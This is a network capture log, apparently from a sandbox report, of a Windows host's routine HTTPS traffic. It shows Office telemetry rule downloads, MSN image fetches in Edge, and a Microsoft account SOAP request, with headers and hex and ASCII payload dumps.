d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:30 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070930Z-185f5d8b95cdcwrthC1NYCy5b800000009xg000000004v0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:30 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070930Z-r1d97b99577n5jhbhC1TEB74vn00000008h000000000523t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070930Z-185f5d8b95cwtv72hC1NYC141w00000009t000000000bmks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:30 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070930Z-r1d97b99577ndm4rhC1TEBf0ps00000008ng000000008bfr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49915	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:30 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 05:16:37 GMT X-Source-Length: 62552 X-Datacenter: eastus X-ActivityId: b6de683a-38cf-4a4e-bd01-aa1a6ca52471 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=382078 Expires: Sun, 24 Nov 2024 17:17:28 GMT Date: Wed, 20 Nov 2024 07:09:30 GMT Connection: close
2024-11-20 07:09:30 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 7103f809-c01e-002b-5dee-3a6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070930Z-185f5d8b95c68cvnhC1NYCfn7s00000009s000000000rehe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:31 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070931Z-185f5d8b95cqnkdjhC1NYCm8w800000009pg00000000kne9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:31 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070931Z-185f5d8b95cx9g8lhC1NYCtgvc000000026g00000000ek0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:31 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070931Z-185f5d8b95csp6jmhC1NYCwy6s00000009sg00000000gwkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:31 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49918	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-20 07:09:31 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 07:09:31 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 07:08:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 228b81a8-3043-4d24-b2b0-7e6b7d0e9a86 PPServer: PPV: 30 H: SN1PEPF0002F8F1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:31 GMT Connection: close Content-Length: 1918
2024-11-20 07:09:31 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49922	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:31 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:31 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=129855 Expires: Thu, 21 Nov 2024 19:13:46 GMT Date: Wed, 20 Nov 2024 07:09:31 GMT Connection: close
2024-11-20 07:09:31 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 